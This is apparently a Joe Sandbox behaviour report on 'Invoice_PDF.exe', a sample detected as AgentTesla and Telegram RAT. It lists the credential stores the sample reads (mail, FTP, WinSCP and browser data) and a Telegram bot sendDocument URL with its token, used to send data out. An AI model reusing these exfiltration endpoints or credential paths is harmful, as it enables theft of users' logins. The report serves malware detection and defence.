Source: C:\Users\user\Desktop\Invoice_PDF.exe	Queries volume information: C:\Windows\Fonts\GIL_____.TTF VolumeInformation
Source: C:\Users\user\Desktop\Invoice_PDF.exe	Queries volume information: C:\Windows\Fonts\GILI____.TTF VolumeInformation
Source: C:\Users\user\Desktop\Invoice_PDF.exe	Queries volume information: C:\Windows\Fonts\GILB____.TTF VolumeInformation
Source: C:\Users\user\Desktop\Invoice_PDF.exe	Queries volume information: C:\Windows\Fonts\GILBI___.TTF VolumeInformation
Source: C:\Users\user\Desktop\Invoice_PDF.exe	Queries volume information: C:\Windows\Fonts\GILC____.TTF VolumeInformation
Source: C:\Users\user\Desktop\Invoice_PDF.exe	Queries volume information: C:\Windows\Fonts\GLSNECB.TTF VolumeInformation
Source: C:\Users\user\Desktop\Invoice_PDF.exe	Queries volume information: C:\Windows\Fonts\GIGI.TTF VolumeInformation
Source: C:\Users\user\Desktop\Invoice_PDF.exe	Queries volume information: C:\Windows\Fonts\FRABK.TTF VolumeInformation
Source: C:\Users\user\Desktop\Invoice_PDF.exe	Queries volume information: C:\Windows\Fonts\FRABKIT.TTF VolumeInformation
Source: C:\Users\user\Desktop\Invoice_PDF.exe	Queries volume information: C:\Windows\Fonts\FORTE.TTF VolumeInformation
Source: C:\Users\user\Desktop\Invoice_PDF.exe	Queries volume information: C:\Windows\Fonts\FELIXTI.TTF VolumeInformation
Source: C:\Users\user\Desktop\Invoice_PDF.exe	Queries volume information: C:\Windows\Fonts\ERASMD.TTF VolumeInformation
Source: C:\Users\user\Desktop\Invoice_PDF.exe	Queries volume information: C:\Windows\Fonts\ERASLGHT.TTF VolumeInformation
Source: C:\Users\user\Desktop\Invoice_PDF.exe	Queries volume information: C:\Windows\Fonts\ERASDEMI.TTF VolumeInformation
Source: C:\Users\user\Desktop\Invoice_PDF.exe	Queries volume information: C:\Windows\Fonts\ERASBD.TTF VolumeInformation
Source: C:\Users\user\Desktop\Invoice_PDF.exe	Queries volume information: C:\Windows\Fonts\ENGR.TTF VolumeInformation
Source: C:\Users\user\Desktop\Invoice_PDF.exe	Queries volume information: C:\Windows\Fonts\ELEPHNT.TTF VolumeInformation
Source: C:\Users\user\Desktop\Invoice_PDF.exe	Queries volume information: C:\Windows\Fonts\ELEPHNTI.TTF VolumeInformation
Source: C:\Users\user\Desktop\Invoice_PDF.exe	Queries volume information: C:\Windows\Fonts\ITCEDSCR.TTF VolumeInformation
Source: C:\Users\user\Desktop\Invoice_PDF.exe	Queries volume information: C:\Windows\Fonts\CURLZ___.TTF VolumeInformation
Source: C:\Users\user\Desktop\Invoice_PDF.exe	Queries volume information: C:\Windows\Fonts\COPRGTL.TTF VolumeInformation
Source: C:\Users\user\Desktop\Invoice_PDF.exe	Queries volume information: C:\Windows\Fonts\COPRGTB.TTF VolumeInformation
Source: C:\Users\user\Desktop\Invoice_PDF.exe	Queries volume information: C:\Windows\Fonts\CENSCBK.TTF VolumeInformation
Source: C:\Users\user\Desktop\Invoice_PDF.exe	Queries volume information: C:\Windows\Fonts\SCHLBKI.TTF VolumeInformation
Source: C:\Users\user\Desktop\Invoice_PDF.exe	Queries volume information: C:\Windows\Fonts\SCHLBKB.TTF VolumeInformation
Source: C:\Users\user\Desktop\Invoice_PDF.exe	Queries volume information: C:\Windows\Fonts\SCHLBKBI.TTF VolumeInformation
Source: C:\Users\user\Desktop\Invoice_PDF.exe	Queries volume information: C:\Windows\Fonts\CASTELAR.TTF VolumeInformation
Source: C:\Users\user\Desktop\Invoice_PDF.exe	Queries volume information: C:\Windows\Fonts\CALIST.TTF VolumeInformation
Source: C:\Users\user\Desktop\Invoice_PDF.exe	Queries volume information: C:\Windows\Fonts\CALISTI.TTF VolumeInformation
Source: C:\Users\user\Desktop\Invoice_PDF.exe	Queries volume information: C:\Windows\Fonts\CALISTB.TTF VolumeInformation
Source: C:\Users\user\Desktop\Invoice_PDF.exe	Queries volume information: C:\Windows\Fonts\CALISTBI.TTF VolumeInformation
Source: C:\Users\user\Desktop\Invoice_PDF.exe	Queries volume information: C:\Windows\Fonts\BOOKOS.TTF VolumeInformation
Source: C:\Users\user\Desktop\Invoice_PDF.exe	Queries volume information: C:\Windows\Fonts\BOOKOSB.TTF VolumeInformation
Source: C:\Users\user\Desktop\Invoice_PDF.exe	Queries volume information: C:\Windows\Fonts\BOOKOSI.TTF VolumeInformation
Source: C:\Users\user\Desktop\Invoice_PDF.exe	Queries volume information: C:\Windows\Fonts\BOOKOSBI.TTF VolumeInformation
Source: C:\Users\user\Desktop\Invoice_PDF.exe	Queries volume information: C:\Windows\Fonts\BOD_R.TTF VolumeInformation
Source: C:\Users\user\Desktop\Invoice_PDF.exe	Queries volume information: C:\Windows\Fonts\BOD_I.TTF VolumeInformation
Source: C:\Users\user\Desktop\Invoice_PDF.exe	Queries volume information: C:\Windows\Fonts\BOD_B.TTF VolumeInformation
Source: C:\Users\user\Desktop\Invoice_PDF.exe	Queries volume information: C:\Windows\Fonts\BOD_BI.TTF VolumeInformation
Source: C:\Users\user\Desktop\Invoice_PDF.exe	Queries volume information: C:\Windows\Fonts\BOD_CR.TTF VolumeInformation
Source: C:\Users\user\Desktop\Invoice_PDF.exe	Queries volume information: C:\Windows\Fonts\BOD_BLAR.TTF VolumeInformation
Source: C:\Users\user\Desktop\Invoice_PDF.exe	Queries volume information: C:\Windows\Fonts\BOD_CI.TTF VolumeInformation
Source: C:\Users\user\Desktop\Invoice_PDF.exe	Queries volume information: C:\Windows\Fonts\BOD_CB.TTF VolumeInformation
Source: C:\Users\user\Desktop\Invoice_PDF.exe	Queries volume information: C:\Windows\Fonts\BOD_BLAI.TTF VolumeInformation
Source: C:\Users\user\Desktop\Invoice_PDF.exe	Queries volume information: C:\Windows\Fonts\BOD_CBI.TTF VolumeInformation
Source: C:\Users\user\Desktop\Invoice_PDF.exe	Queries volume information: C:\Windows\Fonts\ITCBLKAD.TTF VolumeInformation
Source: C:\Users\user\Desktop\Invoice_PDF.exe	Queries volume information: C:\Windows\Fonts\ARLRDBD.TTF VolumeInformation
Source: C:\Users\user\Desktop\Invoice_PDF.exe	Queries volume information: C:\Windows\Fonts\AGENCYR.TTF VolumeInformation
Source: C:\Users\user\Desktop\Invoice_PDF.exe	Queries volume information: C:\Windows\Fonts\AGENCYB.TTF VolumeInformation
Source: C:\Users\user\Desktop\Invoice_PDF.exe	Queries volume information: C:\Windows\Fonts\BSSYM7.TTF VolumeInformation
Source: C:\Users\user\Desktop\Invoice_PDF.exe	Queries volume information: C:\Windows\Fonts\REFSAN.TTF VolumeInformation
Source: C:\Users\user\Desktop\Invoice_PDF.exe	Queries volume information: C:\Windows\Fonts\REFSPCL.TTF VolumeInformation
Source: C:\Users\user\Desktop\Invoice_PDF.exe	Queries volume information: C:\Windows\Fonts\MTEXTRA.TTF VolumeInformation
Source: C:\Users\user\Desktop\Invoice_PDF.exe	Queries volume information: C:\Windows\Fonts\marlett.ttf VolumeInformation
Source: C:\Users\user\Desktop\Invoice_PDF.exe	Queries volume information: C:\Windows\Fonts\segoeuii.ttf VolumeInformation
Source: C:\Users\user\Desktop\Invoice_PDF.exe	Queries volume information: C:\Windows\Fonts\segoeuiz.ttf VolumeInformation
Source: C:\Users\user\Desktop\Invoice_PDF.exe	Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation
Source: C:\Users\user\Desktop\Invoice_PDF.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation
Source: C:\Users\user\Desktop\Invoice_PDF.exe	Queries volume information: C:\Users\user\Desktop\Invoice_PDF.exe VolumeInformation
Source: C:\Users\user\Desktop\Invoice_PDF.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
Source: C:\Users\user\Desktop\Invoice_PDF.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation
Source: C:\Users\user\Desktop\Invoice_PDF.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\CustomMarshalers\v4.0_4.0.0.0__b03f5f7f11d50a3a\CustomMarshalers.dll VolumeInformation
Source: C:\Users\user\Desktop\Invoice_PDF.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\CustomMarshalers\v4.0_4.0.0.0__b03f5f7f11d50a3a\CustomMarshalers.dll VolumeInformation
Source: C:\Users\user\Desktop\Invoice_PDF.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\CustomMarshalers\v4.0_4.0.0.0__b03f5f7f11d50a3a\CustomMarshalers.dll VolumeInformation
Source: C:\Users\user\Desktop\Invoice_PDF.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Management.dll VolumeInformation
Source: C:\Users\user\Desktop\Invoice_PDF.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation
Source: C:\Users\user\Desktop\Invoice_PDF.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation

Source: C:\Users\user\Desktop\Invoice_PDF.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Stealing of Sensitive Information:

Yara detected Telegram RAT

Show sources

Source: Yara match	File source: 00000003.00000002.525641259.0000000003251000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Invoice_PDF.exe PID: 6140, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Invoice_PDF.exe PID: 5944, type: MEMORYSTR

Yara detected AgentTesla

Show sources

Source: Yara match	File source: 3.0.Invoice_PDF.exe.400000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.Invoice_PDF.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.0.Invoice_PDF.exe.400000.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Invoice_PDF.exe.4130420.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.0.Invoice_PDF.exe.400000.10.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.0.Invoice_PDF.exe.400000.8.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.0.Invoice_PDF.exe.400000.12.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Invoice_PDF.exe.4219800.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Invoice_PDF.exe.4130420.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Invoice_PDF.exe.4219800.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000003.00000000.271867261.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000000.272301229.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.519916492.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000000.272859935.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000000.273395534.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.277834680.0000000004029000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.525641259.0000000003251000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Invoice_PDF.exe PID: 6140, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Invoice_PDF.exe PID: 5944, type: MEMORYSTR

Tries to steal Mail credentials (via file / registry access)

Show sources

Source: C:\Users\user\Desktop\Invoice_PDF.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini
Source: C:\Users\user\Desktop\Invoice_PDF.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini
Source: C:\Users\user\Desktop\Invoice_PDF.exe	Key opened: HKEY_CURRENT_USER\Software\IncrediMail\Identities
Source: C:\Users\user\Desktop\Invoice_PDF.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Show sources

Source: C:\Users\user\Desktop\Invoice_PDF.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\Martin Prikryl\WinSCP 2\Sessions

Tries to harvest and steal ftp login credentials

Show sources

Source: C:\Users\user\Desktop\Invoice_PDF.exe	File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml
Source: C:\Users\user\Desktop\Invoice_PDF.exe	File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites\Quick Connect\

Tries to harvest and steal browser information (history, passwords, etc)

Show sources

Source: C:\Users\user\Desktop\Invoice_PDF.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data
Source: C:\Users\user\Desktop\Invoice_PDF.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.ini

Source: Yara match	File source: 00000003.00000002.525641259.0000000003251000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Invoice_PDF.exe PID: 5944, type: MEMORYSTR

Remote Access Functionality:

Yara detected Telegram RAT

Show sources

Source: Yara match	File source: 00000003.00000002.525641259.0000000003251000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Invoice_PDF.exe PID: 6140, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Invoice_PDF.exe PID: 5944, type: MEMORYSTR

Yara detected AgentTesla

Show sources

Source: Yara match	File source: 3.0.Invoice_PDF.exe.400000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.Invoice_PDF.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.0.Invoice_PDF.exe.400000.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Invoice_PDF.exe.4130420.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.0.Invoice_PDF.exe.400000.10.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.0.Invoice_PDF.exe.400000.8.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.0.Invoice_PDF.exe.400000.12.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Invoice_PDF.exe.4219800.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Invoice_PDF.exe.4130420.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Invoice_PDF.exe.4219800.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000003.00000000.271867261.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000000.272301229.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.519916492.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000000.272859935.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000000.273395534.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.277834680.0000000004029000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.525641259.0000000003251000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Invoice_PDF.exe PID: 6140, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Invoice_PDF.exe PID: 5944, type: MEMORYSTR

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	Windows Management Instrumentation211	Path Interception	Process Injection112	Masquerading1	OS Credential Dumping2	Query Registry1	Remote Services	Email Collection1	Exfiltration Over Other Network Medium	Web Service1	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Disable or Modify Tools1	Credentials in Registry1	Security Software Discovery211	Remote Desktop Protocol	Archive Collected Data11	Exfiltration Over Bluetooth	Encrypted Channel11	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	At (Linux)	Logon Script (Windows)	Logon Script (Windows)	Virtualization/Sandbox Evasion131	Security Account Manager	Process Discovery2	SMB/Windows Admin Shares	Data from Local System2	Automated Exfiltration	Non-Application Layer Protocol2	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	Process Injection112	NTDS	Virtualization/Sandbox Evasion131	Distributed Component Object Model	Input Capture	Scheduled Transfer	Application Layer Protocol3	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	Deobfuscate/Decode Files or Information1	LSA Secrets	Application Window Discovery1	SSH	Keylogging	Data Transfer Size Limits	Fallback Channels	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	Obfuscated Files or Information3	Cached Domain Credentials	Remote System Discovery1	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Startup Items	Software Packing13	DCSync	System Information Discovery114	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
Invoice_PDF.exe	45%	Virustotal		Browse
Invoice_PDF.exe	49%	Metadefender		Browse
Invoice_PDF.exe	62%	ReversingLabs	ByteCode-MSIL.Backdoor.Androm
Invoice_PDF.exe	100%	Avira	HEUR/AGEN.1141888

Dropped Files

No Antivirus matches

Unpacked PE Files

Source	Detection	Scanner	Label	Download
3.0.Invoice_PDF.exe.400000.12.unpack	100%	Avira	TR/Spy.Gen8	Download File
3.0.Invoice_PDF.exe.400000.4.unpack	100%	Avira	TR/Spy.Gen8	Download File
3.0.Invoice_PDF.exe.400000.6.unpack	100%	Avira	TR/Spy.Gen8	Download File
3.2.Invoice_PDF.exe.400000.0.unpack	100%	Avira	TR/Spy.Gen8	Download File
3.0.Invoice_PDF.exe.400000.10.unpack	100%	Avira	TR/Spy.Gen8	Download File
3.0.Invoice_PDF.exe.400000.8.unpack	100%	Avira	TR/Spy.Gen8	Download File

Domains

No Antivirus matches

URLs

Source	Detection	Scanner	Label
http://127.0.0.1:HTTP/1.1	0%	Avira URL Cloud	safe
http://DynDns.comDynDNS	0%	URL Reputation	safe
http://www.founder.com.cn/cn/bThe	0%	URL Reputation	safe
https://www.theonionrouter.com/dist.torproject.org/torbrowser/9.5.3/tor-win32-0.4.3.6.zip%tordir%%ha	0%	URL Reputation	safe
http://PHCGWf.com	0%	Avira URL Cloud	safe
http://www.fontbureau.comE8	0%	Avira URL Cloud	safe
http://www.tiro.com	0%	URL Reputation	safe
http://www.goodfont.co.kr	0%	URL Reputation	safe
http://www.carterandcone.coml	0%	URL Reputation	safe
http://www.sajatypeworks.com	0%	URL Reputation	safe
http://www.typography.netD	0%	URL Reputation	safe
http://www.founder.com.cn/cn/cThe	0%	URL Reputation	safe
http://www.galapagosdesign.com/staff/dennis.htm	0%	URL Reputation	safe
http://fontfabrik.com	0%	URL Reputation	safe
http://www.founder.com.cn/cn	0%	URL Reputation	safe
https://api.telegram.org4	0%	URL Reputation	safe
http://www.fontbureau.comoitu	0%	URL Reputation	safe
http://www.jiyu-kobo.co.jp/	0%	URL Reputation	safe
https://87HMfkdDwCo1wEm.org	0%	Avira URL Cloud	safe
http://www.fontbureau.como	0%	URL Reputation	safe
http://www.galapagosdesign.com/DPlease	0%	URL Reputation	safe
http://www.fontbureau.comgrito	0%	URL Reputation	safe
http://www.sandoll.co.kr	0%	URL Reputation	safe
http://www.urwpp.deDPlease	0%	URL Reputation	safe
http://www.zhongyicts.com.cn	0%	URL Reputation	safe
http://www.chinhdo.com	0%	URL Reputation	safe
http://www.sakkal.com	0%	URL Reputation	safe
https://87HMfkdDwCo1wEm.orgx	0%	Avira URL Cloud	safe
https://www.theonionrouter.com/dist.torproject.org/torbrowser/9.5.3/tor-win32-0.4.3.6.zip	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
api.telegram.org	149.154.167.220	true	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://api.telegram.org/bot1900392974:AAEB_yGGlWksNcNC4Dg08OgUSlmDON2w098/sendDocument	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://127.0.0.1:HTTP/1.1	Invoice_PDF.exe, 00000003.00000002.525641259.0000000003251000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	low
http://www.apache.org/licenses/LICENSE-2.0	Invoice_PDF.exe, 00000000.00000002.280561726.0000000007122000.00000004.00000001.sdmp	false		high
http://www.fontbureau.com	Invoice_PDF.exe, 00000000.00000002.280561726.0000000007122000.00000004.00000001.sdmp	false		high
http://www.fontbureau.com/designersG	Invoice_PDF.exe, 00000000.00000002.280561726.0000000007122000.00000004.00000001.sdmp	false		high
http://DynDns.comDynDNS	Invoice_PDF.exe, 00000003.00000002.525641259.0000000003251000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://www.fontbureau.com/designers/?	Invoice_PDF.exe, 00000000.00000002.280561726.0000000007122000.00000004.00000001.sdmp	false		high
http://www.founder.com.cn/cn/bThe	Invoice_PDF.exe, 00000000.00000002.280561726.0000000007122000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
https://api.telegram.org	Invoice_PDF.exe, 00000003.00000002.527224881.00000000035A4000.00000004.00000001.sdmp	false		high
https://www.theonionrouter.com/dist.torproject.org/torbrowser/9.5.3/tor-win32-0.4.3.6.zip%tordir%%ha	Invoice_PDF.exe, 00000003.00000002.525641259.0000000003251000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://www.fontbureau.com/designers?	Invoice_PDF.exe, 00000000.00000002.280561726.0000000007122000.00000004.00000001.sdmp	false		high
https://api.telegram.org/bot1900392974:AAEB_yGGlWksNcNC4Dg08OgUSlmDON2w098/sendDocumentdocument-----	Invoice_PDF.exe, 00000003.00000002.525641259.0000000003251000.00000004.00000001.sdmp	false		high
http://PHCGWf.com	Invoice_PDF.exe, 00000003.00000002.525641259.0000000003251000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://www.fontbureau.comE8	Invoice_PDF.exe, 00000000.00000002.275871817.0000000001717000.00000004.00000040.sdmp	false	Avira URL Cloud: safe	unknown
http://www.tiro.com	Invoice_PDF.exe, 00000000.00000002.280561726.0000000007122000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://www.fontbureau.com/designers	Invoice_PDF.exe, 00000000.00000002.280561726.0000000007122000.00000004.00000001.sdmp	false		high
http://www.goodfont.co.kr	Invoice_PDF.exe, 00000000.00000002.280561726.0000000007122000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://www.carterandcone.coml	Invoice_PDF.exe, 00000000.00000002.280561726.0000000007122000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://www.sajatypeworks.com	Invoice_PDF.exe, 00000000.00000002.280561726.0000000007122000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://www.typography.netD	Invoice_PDF.exe, 00000000.00000002.280561726.0000000007122000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://www.fontbureau.com/designers/cabarga.htmlN	Invoice_PDF.exe, 00000000.00000002.280561726.0000000007122000.00000004.00000001.sdmp	false		high
http://www.founder.com.cn/cn/cThe	Invoice_PDF.exe, 00000000.00000002.280561726.0000000007122000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://www.galapagosdesign.com/staff/dennis.htm	Invoice_PDF.exe, 00000000.00000002.280561726.0000000007122000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://fontfabrik.com	Invoice_PDF.exe, 00000000.00000002.280561726.0000000007122000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://www.founder.com.cn/cn	Invoice_PDF.exe, 00000000.00000002.280561726.0000000007122000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
https://api.telegram.org4	Invoice_PDF.exe, 00000003.00000002.527224881.00000000035A4000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://www.fontbureau.com/designers/frere-jones.html	Invoice_PDF.exe, 00000000.00000002.280561726.0000000007122000.00000004.00000001.sdmp	false		high
http://www.fontbureau.comoitu	Invoice_PDF.exe, 00000000.00000002.275871817.0000000001717000.00000004.00000040.sdmp	false	URL Reputation: safe	unknown
http://www.jiyu-kobo.co.jp/	Invoice_PDF.exe, 00000000.00000002.280561726.0000000007122000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
https://87HMfkdDwCo1wEm.org	Invoice_PDF.exe, 00000003.00000002.527180057.00000000035A0000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://www.fontbureau.como	Invoice_PDF.exe, 00000000.00000002.275871817.0000000001717000.00000004.00000040.sdmp	false	URL Reputation: safe	unknown
http://www.galapagosdesign.com/DPlease	Invoice_PDF.exe, 00000000.00000002.280561726.0000000007122000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://www.fontbureau.com/designers8	Invoice_PDF.exe, 00000000.00000002.280561726.0000000007122000.00000004.00000001.sdmp	false		high
http://www.fontbureau.comgrito	Invoice_PDF.exe, 00000000.00000002.275871817.0000000001717000.00000004.00000040.sdmp	false	URL Reputation: safe	unknown
http://www.fonts.com	Invoice_PDF.exe, 00000000.00000002.280561726.0000000007122000.00000004.00000001.sdmp	false		high
http://www.sandoll.co.kr	Invoice_PDF.exe, 00000000.00000002.280561726.0000000007122000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://www.urwpp.deDPlease	Invoice_PDF.exe, 00000000.00000002.280561726.0000000007122000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://www.zhongyicts.com.cn	Invoice_PDF.exe, 00000000.00000002.280561726.0000000007122000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://api.telegram.org	Invoice_PDF.exe, 00000003.00000002.527261346.00000000035B9000.00000004.00000001.sdmp	false		high
http://www.chinhdo.com	Invoice_PDF.exe, 00000000.00000002.276354246.0000000003021000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	Invoice_PDF.exe, 00000003.00000002.527224881.00000000035A4000.00000004.00000001.sdmp	false		high
http://www.sakkal.com	Invoice_PDF.exe, 00000000.00000002.280561726.0000000007122000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
https://87HMfkdDwCo1wEm.orgx	Invoice_PDF.exe, 00000003.00000002.527027069.000000000354C000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://www.theonionrouter.com/dist.torproject.org/torbrowser/9.5.3/tor-win32-0.4.3.6.zip	Invoice_PDF.exe, 00000000.00000002.277834680.0000000004029000.00000004.00000001.sdmp, Invoice_PDF.exe, 00000003.00000000.271867261.0000000000402000.00000040.00000001.sdmp, Invoice_PDF.exe, 00000003.00000000.272301229.0000000000402000.00000040.00000001.sdmp	false	URL Reputation: safe	unknown
https://api.telegram.org/bot1900392974:AAEB_yGGlWksNcNC4Dg08OgUSlmDON2w098/	Invoice_PDF.exe, 00000000.00000002.277834680.0000000004029000.00000004.00000001.sdmp, Invoice_PDF.exe, 00000003.00000000.271867261.0000000000402000.00000040.00000001.sdmp, Invoice_PDF.exe, 00000003.00000000.272301229.0000000000402000.00000040.00000001.sdmp	false		high

Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
149.154.167.220	api.telegram.org	United Kingdom		62041	TELEGRAMRU	false

General Information

Joe Sandbox Version:	34.0.0 Boulder Opal
Analysis ID:	532735
Start date:	02.12.2021
Start time:	16:53:42
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 9m 42s
Hypervisor based Inspection enabled:	false
Report type:	light
Sample file name:	Invoice_PDF.exe
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211
Number of analysed new started processes analysed:	23
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
